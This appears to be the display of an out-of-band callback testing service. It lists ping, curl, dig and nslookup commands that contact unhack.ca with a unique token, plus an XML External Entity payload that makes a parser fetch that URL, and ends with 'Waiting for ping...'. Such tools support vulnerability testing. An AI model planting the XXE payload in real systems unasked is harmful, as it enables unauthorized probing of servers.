$ ping -c1 -p 00e2cb892aa2eb7b8cc9e57fd034ae00 unhack.ca
 
$ curl http://unhack.ca/p/e2cb892aa2eb7b8cc9e57fd034ae
 
$ dig e2cb892aa2eb7b8cc9e57fd034ae @unhack.ca
 
$ dig e2cb892aa2eb7b8cc9e57fd034ae.ns.unhack.ca
 
C:\> nslookup e2cb892aa2eb7b8cc9e57fd034ae unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/e2cb892aa2eb7b8cc9e57fd034ae">]>
    <foo>&xxe;</foo>
Waiting for ping...